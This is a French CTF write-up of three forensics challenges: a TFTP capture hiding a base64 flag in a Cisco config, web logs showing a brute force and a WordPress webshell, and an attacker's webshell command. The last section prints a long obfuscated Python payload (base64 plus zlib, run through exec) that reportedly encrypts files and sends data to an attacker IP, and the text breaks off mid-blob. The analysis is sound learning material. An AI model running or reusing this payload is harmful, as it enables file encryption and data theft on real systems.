

Forensics



By 0xECE

Baby Forensics

Challenge

94 Solves



BABY FORENSIC

100


Isnubi

Recover the compromising information contained in this wireshark capture. Our network informed us that the Syndicat attack took place in a network capture. You must check if the Union agents have left traces and recover any compromising information contained in this network capture.

Notre réseau nous à informés qu'une attaque du Syndicat à eu lieu dans une capture réseau. Vous devez vérifier si les agents du Syndicat ont laissés des traces et récupérer toutes informations compromettantes contenues dans cette capture réseau.

Récupérez les infos dans la capture réseau.

Retrieve the information from the network capture.

 dump.pcap

Flag

Submit

Pour ce chall on a un capture réseau. La plus part du temps dans ce genre de chall surtout considéré comme "baby" on cherche une élément caché en format base64 on va regarder si on trouve ça :

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	192.168.1.46	192.168.1.51	TFTP	60	Read Request, File: conf, Transfer type: octet
2	0.001564	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 1
3	0.004848	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 1
4	0.004911	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 2
5	0.007738	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 2
6	0.007799	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 3
7	0.018223	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 3
8	0.018284	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 4
9	0.020998	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 4
10	0.021058	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 5
11	0.023810	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 5
12	0.023871	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 6
13	0.026608	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 6
14	0.026686	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 7
15	0.029637	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 7
16	0.029735	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 8
17	0.032558	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 8
18	0.032632	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 9
19	0.037842	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 9
20	0.037916	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 10
21	0.050365	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 10
22	0.050439	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 11
23	0.056071	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 11
24	0.056147	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 12
25	0.061915	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 12
26	0.061990	192.168.1.51	192.168.1.46	TFTP	558	Data Packet, Block: 13
27	0.064448	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 13
28	0.064521	192.168.1.51	192.168.1.46	TFTP	65	Data Packet, Block: 14 (last)
29	0.066687	192.168.1.46	192.168.1.51	TFTP	60	Acknowledgement, Block: 14

Dans cette capture il n'y a que du TFTP comme protocole.

Si on suit n'importe quel packet TFTP on obtient ça :

```

Wireshark - Follow UDP Stream (udp.stream eq 1) - dump.pcap
1
interface GigabitEthernet2/0/52
 switchport access vlan 108
 switchport mode access
!
interface Vlan1
 no ip address
 shutdown
!
interface Vlan111
 ip address 192.168.1.27 255.255.255.0
!
ip default-gateway 192.168.1.254
!
ip http server
ip http banner
ip http authentication local
ip http secure-server
ip ssh version 2
!
!
snmp-server community cisco RO
snmp-server location rack4
snmp-server contact admin
snmp-server host 192.168.1.4 version 2c SEFDS0RBWXsxTjUxZGVfN0hIX25FdFdPckt9 udp-port 161
!
line con 0
line vty 0 4
line vty 5 15
!
monitor session 1 source vlan 110
monitor session 1 destination interface Gi2/0/2
ntp update-calendar
ntp server 0.n...
...tp.pool.org
!
end....

14 client pkts, 14 server pkts, 27 turns.
Entire conversation (6,787 bytes) Show data as ASCII Stream 1
Find: Find Next
Filter Out This Stream Print Save as... Back Close Help

```

Tiens Tiens Tiens on a un élément en base64 : SEFDS0RBWXsxTjUxZGVfN0hIX25FdFdPckt9

Décodons le :

```
(kali㉿kali)-[~]  
$ echo "SEFDS0RBWXsxTjUxZGVfN0hlX25FdFdPckt9" | base64 -d  
HACKDAY{1N51de_7He_nEtW0rK}
```

On a le flag :

```
HACKDAY{1N51de_7He_nEtW0rK}
```

All that data???

Challenge

95 Solves



ALL THAT DATA???

100

isnubi


L'agence à récupéré des logs appartenant à des agents du Syndicat mais n'arrive pas à y trouver des informations importantes.


Nous vous les envoyons donc pour que vous puissiez les décrypter et y déceler une quelconque information intéressante

The agency has recovered logs belonging to Syndicate agents but is unable to find any important information in them. We are therefore sending them to you so that you can decrypt them and find any interesting information.

Utilisez les fichiers de log donnés pour discerner le mode d'attaque de l'assaillant. Format de flag : HACKDAY{ip de l'assaillant:méthode d'attaque:plugin installé}

Use the given log files to discern the attacker's mode of attack. Format de flag : HACKDAY{attacker_ip:attack_method:plugin_installed} Multiple attack_method can be accepted in the flag.

 access.log

 error.log

Flag

Submit

Dans ce challenge on a les logs d'un server qui c'est fait attaqué. On doit identifier :

- IP attaquant
- méthode attaque

- plugin installé

Pour trouver tout ça on a pas vraiment besoin du error.log ce qu'il nous faut c'est les acces log du server :

```
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /randomfile1 HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /frand2 HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.bash_history HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.bashrc HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.cache HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.config HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.cvsignore HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.forward HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.git/HEAD HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.history HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.hta HTTP/1.1" 403 436 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.hta HTTP/1.1" 403 436 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.htaccess HTTP/1.1" 403 436 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.htaccess HTTP/1.1" 403 436 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.htpasswd HTTP/1.1" 403 436 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.htpasswd HTTP/1.1" 403 436 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.listing HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.listings HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.mysql_history HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.passwd HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.perf HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.profile HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.rhosts HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:50 +0200] "GET /.sh_history HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:51 +0200] "GET /.ssh HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:51 +0200] "GET /.subversion HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:51 +0200] "GET /.svn HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:51 +0200] "GET /.svn/entries HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:51 +0200] "GET /.swf HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
10.0.3.250 - - [04/May/2023:10:34:51 +0200] "GET /.web HTTP/1.1" 404 433 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
```

Dans notre cas c'est plutôt facile il n'y a qu'une seule IP qui a interrogé le server (donc forcément l'attaquant) dans notre cas : 10.0.3.250

Ensuite si on descend un peu dans le fichier on voit ceci :

HACKDAY{10.0.3.250:bruteforce:wp_webshell}

Can't you read that???

Challenge

54 Solves

✕

CAN'T YOU READ THAT???

100

Isnubi

With the previous logs you analyze, it seems that the attacker just execute a weird code using the webshell. Can you help us to decode what the attacker does?

Flag format:
HACKDAY{encryption_iv:encryption_key:attacker_ip:attacker_port:data_destination_path:data_source_path:encrypted_file_extension}

----- INFOS ----- Related with All that data??? challenge The encrypted file extension have to be write with the ".", like ".html"

DO NOT EXECUTE ON YOUR MACHINE!!!

Flag

Submit

Ce challenge est la suite du précédant il faut pouvoir extraire les informations suivante en se basant sur les commande qu'il a passé avec son plugin webshell :

- encryption_iv
- encryption_key
- IP
- PORT
- data_destination_path
- data_source_path

- encrypted_file_extension

Bon déjà ça parle d'encryption IV et de Key donc ça sans de l'AES.

voici la commande que l'attaquant a passé :

[illegible]

```
/wp-content/plugins/wp_webshell/wp_webshell.php?action=exec&cmd=python3+-
c+%22import%20zlib%20;%20import%20base64%20;%20exec(zlib.decompress(base64.b64decod
e(%27eJytel2v5Lhx9n3/isYBgnPGHp+d1ShRXGAD+N3M0sHrL3g2cJLNYkHxS6SGH6IoidKvd+nMGA8NBK
aCbN90X1SzikXWU09VUUZv79/EPST//I00g4h3bYOP6f7r9x/udL57XHd9F4XX61SJvFG8ygUFWedjt6jqb
6/is2ejS0c/AmNIrrPeCMczJtMyzeM4TPPQIE4wQp//YwbvTvksm60N1uBqzrIjU5+z6XpryCgtm/xfNfj5
RTq0o1iqSEmMWK254c7qztk9WZ83U32W7uksWnT+ox+zUfLXopHHGcgSm2jGsVsaxFwc1uPzP5K24pQ3yxT
5Ntmtwm2L49j4hVeCd5Xeum1KzWd5mcJH3b/YVDk0sHlDbqhNvUpnXB9tjPywbFXT8Pkfx6u8CYP1E2l2jw
bbz9VBh0daDWpBsQzr/NWn+8uWg1pSS1Bbazcwg5umczjkwbWi7phf4mfxSB2H04R/yA2nDespjItaFjtTs
7o5+VWMNB19pP+qIEXt1PmPzdBtntJaErZtw1cn9C4FnbWdzVordrvdnJx1x2Y+HGNDXDtM4F02TL2IjfSh
n+9f33/vnbiNDVtomI5sqmbDnBh06H74I+J0WFdhkANL1bjt9cwOUDwhTsL9qA5hM1JD0uRAq7qyIPhRuNv
q+Tzk3FedxSGiLZiOmK4be4PyuBo0Yj7ym8jgoF7NPg7NpCLZx9VH0qB00T221Q5i39KPs7gtixv3ISrbCr
ka0CXEnjrN235ESYwKBL+LC5iHtetHTqWscop0zclQFi6PaNRcC0Z0vQHsM1hR0rd2oWzPsa4ytYnozvt+j
bS2EuT6PYn5Zrx3sd4j0vtobVDdbHg7iXnnLRmn0oFggPNIN21aEY9qhFhgAeFBKjtUYR1k1UAwzQgEH54f
btG1BrzmYo8H42Zc64ozPM2ZpqR7R0EMDviWRYutgf9p0lVoN2FTDRvZhpu9dXAuIPY+MxGS9u4WunFKXi6
RzUf0rhZaQfT0tfG4hcM6nfNANXe79cv8cMsjx1jkdEmo9iitJJ9FxsSi03LQptzSwU4eP7wh2/+48fvv
vT+1//7jZP25x62onElmzU0q5itvjA84hQsyzr1fV+/e2P//b799/dUt4GHKeQd1IHM258xpwtqrqsj156Z8
3o9Su8fb4vvuc7tN0/YdJ4uclW0GdG0Jgeu8vGK0k/wd9NkqUUKVb3UpnpRJQYxYB7RHPeJy+3LnSkA6rMT
2y2TlKahcaluyeb8NB2taqpUVEORGpaG0/YhpfDVF1989Ix+HPycHm+rYjyIlkxRD7ut0rodRqz1eLDBCrS
ckVeCz+coHLXiFo+9AzcgWUd0oKAPOVIfyDa60h4D0+/WQyXxw023oss5S7anZZLVYoPrj63aKYSA9d2JCK
WdgabhNnJwMwutYYPvZPtGjUmw42HcZ2Wub2y0Ec9J67jjXq7EY0ZobCC08PqQhXTIfAmh4Hw11s8iPxwk
3g/7LEi4mm01b0Ztgqtr147b1a7n7FRSh/P/ZctF8xzCBrv94lRRSXqQfc0gCd3hgE4UFAInxBUSi7P80ch
```

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
lTd/Gr7CneUy1WHS EALMbpqK5WM8LATXB2p4PHtXpc7mNV2/fbzS5Sv1+mu6FmBAF1pVT0WZX9yrN0Cyq2t
qIR7V3mFnec1ZPfbRrCviw9xxCrmUJ2FPrY//+edhoL/51p/fF1nkx4+wdCH5Xknzv/vDv7z/8Zv/90055k
Fr6dy/f/fDrZTvL+DrmZWA5EOj6B83It5cOwRo0im95V1gHKpQD3ZE+FDblIYm4li7BfUnoBV6p9d0VRD4x
Vr2FHSPV+YDpVi8ZhS6UKm+1KAXEPKUg8rxZKt5q7in7YaIamkka0Cc6yCP2LmE6oo+UZxz13izq6A0zFTG
Y0F7FDv8jDcf+cxWN9MdlAor985qAvGfZNejpXhtvNuAzlbM9z+8SEqYhYjEe+VMrMZ1iFxQ4SR0Fhq4Tka
ioZ7f3kEBtM71o0h8TDH7faGySntvtknjTS/e3oea2b6JdmqrXh6EjptPchduW6yk0+Dv2pWbURv90F7d4m
fjoe08NMbbZYZ8l45IxFzB0HFwjv4hX4ZKC4Z990KV5z3Sh+eSmOSZ+OhNVt2bmkHrx3JKACPXNG6a6X1n
y7EVJklfP/Vr7784Rq4QrtiYHyf0na2UhdAf7RW2k/K+d5A930gZ3AWXyZc0sUvB10LX01C3fslupWa9S/N
vUs6gcFeSF9FelbqwZ9jqQLReSqlpzfPnzpDUIVd2H9R5BdlknzhMN6vt372P7Zte7iVhjBXuGnxsE5tjl1
Qdgp+Wt9cuyad+ZQqInVtDBOC8QXbHInHd0i+XdE4Ack3fb1C2fiKlq/gUZKGZlX/8N/vHuCwnoo8p4cx9f
jjrA9x/9X5qqNsy/2fyuzpp1UvcPH/gILniu/hdcWVq1Ma03/f/HANYu9wgjuaw0nUjPY9Mqt7Pg71vpvWV
X1i4hxFn/3GS+YTMa1lurZt2CVuUX8oNaF6o4JKZiFyG90fjwH09QRNE64Cz0ybLnaKr6SBWGckT6105By7
F+/9xIJD1CxpIyFMdWctgmEdELsFagiRT5Aqhca1SOWQN7+4GD5whC9BgZa+okviW2bdUpOFQPMbnuVUMaj
BWYanw+SGdsPK0gxN4Hr3He1yhaZDzE0XmfVqXvLk2/sIY2G7EE/s1MA0JvSjCIGz5Bu/VWPffXUvvdV5Db
2TpGg64EAAVqMRB1B0qMUmkboZOk1lDBkEIDbPkdx9qYSBM0gsvLF6Kpn+5m8o1JbFnX5fsv6H+9df34s+/
zu09YpHpXdbf4tdpcdg5Wt/JbrbH64i0cTjz5MWn7589w6At1Qnv7kcI6Ue8z10KCDR9XoxdbimmqWFGGjF

DAfZNspgHClFtbQ6nspKc6qnB/obkv7rQ/f1w8VNVmciveD9Ug/1V9hWA1tXqehz1oNa+NJR4ntrVuAKEH
9TU8wLbng0s0sLfKZjJVPxDVoOWScDPzNOZhJErXjBhGu7Vov+/nkpQRdF/xywtoAM6ZRyaZ1DaRveD9oMN
57W29D7qdJfSr6SiVtyTmfBzClB0E1Yz5VUcV50MVlCs/yistAxVxy3i/vpST85iUdpoPtU0qOQwkph1Yvo
maDmqya9YyGfnrqKd12NEmjkJtQtonLCvk41zbVpgvwOoglMi686XHVQ+9IOFKbCM8i5jTrHfFwVJ4BJIsi
L9BzsQf7d9mnZNz9n4vW/Y+ppTQQfiqt+rZo2qer8L/R+T0cxN+mxNKjrr8AKKzZNg==%27))%22

Bon voyons voir après avec décodé le format URL :

The screenshot shows the 'URL Decode' tool interface. The 'Input' field contains a long base64-encoded string. The 'Output' field shows the decoded result, which is a Python script. The script starts with a shebang and imports 'zlib' and 'base64'. It then defines a variable 'raw_base_64' with a long string of base64 characters. The script continues with a series of escape sequences and a final print statement.

L'attaquant a passé une commande python en passant son payload (compressé) en base64. Il décode le base64 puis le décompresse grâce à zlib et l'exécute.

ATTENTION le URL décode a remplacé les "+" du base64 par des espaces ou il n'y a pas d'espace dans le base64 donc il faut rendre le base64 avec les "+" .

On peut donc faire un code python qui va faire les même étapes que le payload de l'attaquant mais sans l'exécuter évidemment ;))

```
import zlib
import base64

raw_base_64 =
"""eJyte12v5Lhx9n3/isYBgnPGHp+d1ShRXGAD+N3M0sHrL3g2cJLNYkHxS6SGH6IoidKvd+nMga8NBKaC
bN90X1SzikXWU09VUUVz79/EPST//I0Og4h3bYOP6f7r9x/udL57XHd9F4XX61SjVfG8ygUFWedjt6jqb6/
is2ejS0c/AmNIrrPeCMczJtMyzeM4TPPQIE4wQp//YwbvTvkSm60N1uBqzrIjU5+z6XpryCgtm/xfNfj5RT
qOo1iqSEmMWK254c7qztK9WZ83U32W7uksWnT+ox+zUF1XopHHGCGSm2jGsVsaxFwc1uPzP5K24pQ3yxT5N
```

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
